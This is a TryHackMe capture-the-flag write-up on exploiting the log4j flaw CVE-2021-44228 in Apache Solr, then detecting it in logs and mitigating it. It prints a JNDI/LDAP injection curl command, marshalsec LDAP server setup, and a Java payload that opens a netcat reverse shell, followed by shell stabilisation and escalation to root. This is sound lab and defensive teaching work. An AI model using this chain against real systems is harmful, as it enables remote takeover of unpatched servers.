TryHackMe: Solar


This is a new room that goes in depth into exploiting CVE-2021-44228, a 10.0 critical vulnerability impacting the widely used log4j logging library for Java. This room allows us to play as both a red team and a blue team in which we can deploy the code ourselves for the exploit and also detect and patch the issue.


I booted up our virtual kali (attacking) machine and our THM virtual machine from the lab, which was given an IP of A full port scan using nmap reveals three open ports: 22, 111, 8983.

Port 8983 is a non-standard port

Apache Solr is running on 8983. We can navigate to the IP:8983 and we are greeted with a dashboard. Some of the parameters visible here tell us about log4j logs and setup files:

Log config file showing log4j and log directory

For this particular task, we are provided with a zip file of some example logs of a vulnerable Solr instance. The main solr.log file displays v8.11.0 and in this log file is a spam of calls to the same admin endpoint that look like this:

Calls to /admin/cores, some of which have a param

We can navigate to /solr/admin/cores and we get what appears to be a REST API endpoint. I looked up the CVE, CVE-2021-44228, and the vulnerability essentially is exploiting by sending a ${jndi:ldap//attackerip:1389/a} call to this endpoint. The TryHackMe module says log4j parses entries when adding it to logs like with stuff like ${}.

Proof of Concept

First we can get our IP for our attacking machine thats sitting in the THM vpn. I have a custom kali module that shows my tun0 IP address in the status bar for ease of use. Next we need to start a listener using netcat with nc -lvnp 4444. And in another new terminal, we can send a curl command to the endpoint which gets a hit back on our listener:

Curl command that gets a hit on back on our nc listener

This proves that we can execute an ldap call and get a response. Now we need to intercept the LDAP message in order to actually execute a payload


For this we need an actual ldap server in order to intercept the ldap command. The THM module provides a link to marshalsec which can be found at their GitHub here. It also needs Java, Java 8 preferred.

Java 1.8 Installation

I didn’t have the right version of Java so I ran the following:

$ ls /usr/lib/jvm  # see what JVM we have installed
$ cd ~/Downloads   # cd to Downloads
$ wget # download jdk
$ cd /usr/lib/jvm  # cd to JVM folder
$ sudo tar xzvf ~/Downloads/jdk1.8.0_131-linux-x64.tar.gz # unzip into this folder

# install
$ sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_131/bin/java" 1
$ sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_131/bin/javac" 1
$ sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_131/bin/javaws" 1

# set
$ sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_131/bin/java
$ sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_131/bin/javac
$ sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_131/bin/javaws

# verify
$ java -version

Now our version checks out:

marshalsec Installation

Next the following commands to install:

$ git clone # download the repo
$ sudo apt-get update && sudo apt install maven # install maven (if not already)
$ cd marshalsec # enter the newly cloned dir
$ mvn clean package -DskipTests # install

Start LDAP Server

Now we can use the package to start an LDAP Ref Server:

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ""

Our syntax was already provided for us thankfully. The 8000 port will be for a web server we need to set up, along with the endpoint for the custom payload to net us a reverse shell.

Reverse Shell

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 4444");
        } catch (Exception e) {

Use the above code to create an java file that essentially starts a reverse shell back to us on the target computer. Now we need to build it with javac -source 8 -target 8

Python Web Server

In a new terminal run python3 -m http.server in the same directory as the Exploit.class to spin up a webserver with access to /Exploit.

Final Steps

Open up one more terminal for the final curl command.

Before we run it, we should have the following:

  • A terminal with the marshalsec LDAPRefServer listening on 1389
  • A terminal with the python3 web server (in the dir of Exploit.class) running on port 8000
  • A terminal with the nc listener on port 4444 (to catch the reverse shell)
  • A terminal ready for the curl command: curl '${jndi:ldap://}'

With all these windows running, I hit enter on the curl command and our nc listener received a hit


With a reverse shell, we can enumerate and try to get us better access, such as direct SSH access on the open port 22.

Running whoami on our nc reverse shell returns solr, so we are running as an app user.

We can run the following to stabilize our bash shell:

# Type into the reverse shell:
$ python3 -c "import pty; pty.spawn('/bin/bash')"
# Press Ctrl+Z
# Press Enter

# on our local terminal
$ stty raw -echo
$ fg
# Press Enter twice

# on the reverse shell
$ export TERM=xterm

This gives us more interactive support such as use of arrow keys, tab autocomplete and Ctrl+C to stop hung programs

This initially didn’t work for me, I found out Kali uses zsh instead of bash by default. So if you kill the nc listener, and run exec bash --login first to switch to a bash shell, then rerun the payload and above to get it to work. Back in our upgraded reverse shell, we can run some commands to see what we can do by running sudo -l which we can run everything without a password for this learning box. We can even sudo bash to become root and do whatever we need to.


The module explains finding vulnerable applications is difficult. As a blue team member, we could discover anyone trying to perform a similar call by checking the logs. I ran cd /var/solr/logs && cat solr.log on the reverse shell to see the main log file. Inside of that we can see the command we sent to the server:

o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://}} status=0 QTime=0

Obviously in our case we spell out using the jndi, ldap and even call our exploit “Exploit” so it would be trivially easy to find.

Bypasses / Evasion

Possible ways to evade simple detection was provided from the module and I copied them again here:









As a blue-team defender the next step is to lockdown the machine. By visiting the official Apache Solr Security page, there is an annoucement on how to mitigate here. The relevant line is:

  • (Linux/MacOS) Edit your file to include: SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

We can do this by first running locate (which we then find in /etc/default) and edit it in any editor such as nano or vim.

added the line to the bottom of the file

Next restart the process with sudo /etc/init.d/solr restart.

To test this, run the same curl command before with the open terminals and nothing hits the LDAP, web server or reverse listener.

A new 2.16.0 version of log4j is available here to disable JNDI, remove Message Lookups in the mean time as other applications that use log4j may be slow to update on their own.


The log4j exploit sent shockwaves throughout the cybersecurity community and how widespread this exploit could be is still not fully realized. The important thing is to be aware as both an attacker and how to mitigate it as a defender.


No comments available.

Leave a Reply

Your email address will not be published. Required fields are marked *